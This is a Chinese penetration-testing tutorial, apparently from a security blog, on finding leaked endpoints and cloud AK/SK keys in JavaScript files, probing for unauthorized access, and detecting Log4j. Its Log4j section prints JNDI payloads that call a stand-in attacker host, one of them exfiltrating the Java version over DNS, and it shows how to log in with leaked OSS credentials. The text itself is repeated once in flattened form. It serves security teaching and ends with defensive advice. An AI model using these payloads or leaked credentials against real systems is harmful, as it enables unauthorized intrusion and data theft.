记一次抽丝剥茧式的渗透测试
字数 1273 2025-08-06 08:35:03

抽丝剥茧式渗透测试实战教学文档

一、JS文件信息泄露利用

1.1 JS文件分析的重要性

  • JavaScript文件中经常包含敏感信息泄露风险
  • 常见泄露内容包括:
    • API接口地址
    • 隐藏URL路径
    • 子域名信息
    • 云服务凭证(如OSS的AK/SK)
    • 内部系统调用方式

1.2 分析方法

  1. 使用浏览器开发者工具(F12)查看加载的JS文件
  2. 使用工具如Burp Suite抓取所有JS资源
  3. 使用自动化工具扫描JS文件:
    # 使用LinkFinder提取JS中的端点
    python LinkFinder.py -i target.js -o results.html
    
    # 使用JSFinder
    python JSFinder.py -u http://example.com
    

1.3 敏感信息识别模式

  • AWS/Aliyun OSS凭证:
    accessKeyId: 'AKIAxxxxxxxxxxxx',
    accessKeySecret: 'xxxxxxxxxxxxxxxxxxxxxxxx'
    
  • API端点:
    baseURL: 'https://api.internal.example.com/v1'
    
  • 调试接口:
    debugMode: true,
    debugEndpoint: '/internal/debug'
    

二、未授权访问漏洞利用

2.1 常见未授权访问类型

  1. API接口未授权
  2. 管理后台无认证
  3. 文件/目录遍历
  4. Redis/MongoDB等数据库未授权
  5. 缓存系统未授权(如Memcached)

2.2 利用流程

  1. 从JS文件中提取疑似内部接口
  2. 直接访问测试:
    curl -v http://example.com/internal/api/users
    
  3. 尝试修改HTTP方法(GET/POST/PUT/DELETE)
  4. 测试参数注入

2.3 自动化工具

# 使用Nikto扫描
nikto -h http://example.com

# 使用Nuclei模板
nuclei -t vulnerabilities/misconfiguration/unauthorized.yaml -u http://example.com

三、Log4j漏洞发现思路(针对评论问题)

3.1 发现途径

  1. 检查Java应用特征:

    • 响应头包含X-Powered-By: Java
    • 报错页面显示Java堆栈信息
    • URL包含.jsp/servlet/
  2. 识别依赖项:

    • 检查WEB-INF/lib/目录下的jar文件
    • 查找log4j-core-*.jar文件
  3. 版本识别:

    # 使用log4j-scan工具
    python log4j-scan.py -u http://example.com
    

3.2 漏洞验证

  1. 简单测试:
    ${jndi:ldap://your-server.com/test}
    
  2. 使用DNS回显验证:
    ${jndi:dns://${sys:java.version}.your-server.com/a}
    

四、信息关联与横向渗透

4.1 信息关联方法

  1. 将JS泄露的子域名加入扫描范围
  2. 使用泄露的AK/SK尝试云服务API调用
  3. 将内部接口与已知漏洞框架匹配

4.2 横向移动技巧

  1. 使用泄露凭证尝试:
    # Aliyun OSS工具
    ossutil config -i AKID -k AKSK -e oss-endpoint
    
  2. 访问内部管理界面
  3. 利用内部API进行数据提取

五、防御建议

5.1 开发安全

  1. 前端代码混淆处理
  2. 使用环境变量存储敏感配置
  3. 禁用调试模式和测试接口

5.2 服务安全

  1. 所有接口实施严格认证
  2. 最小权限原则配置云服务凭证
  3. 定期扫描和清理泄露的敏感信息

5.3 监控措施

  1. 实施异常API访问监控
  2. 设置AK/SK使用告警
  3. 日志集中分析和审计

六、工具清单

工具名称 用途 下载地址
LinkFinder JS文件端点提取 https://github.com/GerbenJavado/LinkFinder
JSFinder JS文件信息收集 https://github.com/Threezh1/JSFinder
log4j-scan Log4j漏洞扫描 https://github.com/fullhunt/log4j-scan
OSSBrowser OSS管理工具 https://help.aliyun.com/document_detail/61872.html

本教学文档基于实战经验整理,关键点在于细致的信息收集和关联分析能力,通过看似无害的JS文件可以打开整个渗透测试的突破口。

抽丝剥茧式渗透测试实战教学文档 一、JS文件信息泄露利用 1.1 JS文件分析的重要性 JavaScript文件中经常包含敏感信息泄露风险 常见泄露内容包括: API接口地址 隐藏URL路径 子域名信息 云服务凭证(如OSS的AK/SK) 内部系统调用方式 1.2 分析方法 使用浏览器开发者工具(F12)查看加载的JS文件 使用工具如Burp Suite抓取所有JS资源 使用自动化工具扫描JS文件: 1.3 敏感信息识别模式 AWS/Aliyun OSS凭证: API端点: 调试接口: 二、未授权访问漏洞利用 2.1 常见未授权访问类型 API接口未授权 管理后台无认证 文件/目录遍历 Redis/MongoDB等数据库未授权 缓存系统未授权(如Memcached) 2.2 利用流程 从JS文件中提取疑似内部接口 直接访问测试: 尝试修改HTTP方法(GET/POST/PUT/DELETE) 测试参数注入 2.3 自动化工具 三、Log4j漏洞发现思路(针对评论问题) 3.1 发现途径 检查Java应用特征: 响应头包含 X-Powered-By: Java 报错页面显示Java堆栈信息 URL包含 .jsp 或 /servlet/ 识别依赖项: 检查 WEB-INF/lib/ 目录下的jar文件 查找 log4j-core-*.jar 文件 版本识别: 3.2 漏洞验证 简单测试: 使用DNS回显验证: 四、信息关联与横向渗透 4.1 信息关联方法 将JS泄露的子域名加入扫描范围 使用泄露的AK/SK尝试云服务API调用 将内部接口与已知漏洞框架匹配 4.2 横向移动技巧 使用泄露凭证尝试: 访问内部管理界面 利用内部API进行数据提取 五、防御建议 5.1 开发安全 前端代码混淆处理 使用环境变量存储敏感配置 禁用调试模式和测试接口 5.2 服务安全 所有接口实施严格认证 最小权限原则配置云服务凭证 定期扫描和清理泄露的敏感信息 5.3 监控措施 实施异常API访问监控 设置AK/SK使用告警 日志集中分析和审计 六、工具清单 | 工具名称 | 用途 | 下载地址 | |---------|------|---------| | LinkFinder | JS文件端点提取 | https://github.com/GerbenJavado/LinkFinder | | JSFinder | JS文件信息收集 | https://github.com/Threezh1/JSFinder | | log4j-scan | Log4j漏洞扫描 | https://github.com/fullhunt/log4j-scan | | OSSBrowser | OSS管理工具 | https://help.aliyun.com/document_ detail/61872.html | 本教学文档基于实战经验整理,关键点在于细致的信息收集和关联分析能力,通过看似无害的JS文件可以打开整个渗透测试的突破口。